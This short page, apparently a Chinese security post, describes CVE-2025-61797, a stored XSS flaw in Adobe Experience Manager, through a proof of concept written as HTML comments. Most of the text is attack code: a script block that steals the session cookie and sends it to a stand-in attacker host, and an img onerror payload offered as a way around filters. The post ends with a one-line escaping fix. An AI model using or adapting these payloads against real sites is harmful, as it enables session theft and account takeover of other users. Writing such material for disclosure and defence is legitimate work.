CVE-2025-61797：Adobe Experience Manager存储型XSS漏洞

<!-- CVE-2025-61797: Adobe Experience Manager Stored XSS PoC --> <!-- This PoC demonstrates a stored XSS attack via vulnerable form fields in AEM 11.6 and earlier --> <!-- Step 1: Attacker logs in with low-privilege account --> <!-- Step 2: Attacker navigates to a vulnerable form field (e.g., a text input, rich text editor, or comment field) --> <!-- Step 3: Attacker injects the following malicious payload into the form field: --> <script> // Steal session cookie and exfiltrate to attacker-controlled server var cookie = document.cookie; var img = new Image(); img.src = "https://attacker-server.com/steal?cookie=" + encodeURIComponent(cookie); // Alternatively, perform actions on behalf of the victim // fetch('/api/some-action', { method: 'POST', body: 'malicious=data' }); </script> <!-- Alternative payload using event handlers (may bypass some filters): --> <img src=x onerror="fetch('https://attacker-server.com/steal?cookie='+document.cookie)"> <!-- Step 4: The malicious script is stored in AEM's backend --> <!-- Step 5: Attacker crafts a malicious link and sends it to the victim: --> <!-- https://victim-aem-instance.com/content/vulnerable-page.html --> <!-- Step 6: When victim visits the page, the stored script executes in their browser context --> <!-- Mitigation in code: Always sanitize user input using HTML encoding --> <!-- Example fix (server-side): --> <!-- StringEscapeUtils.escapeHtml4(userInput) for Java-based AEM components -->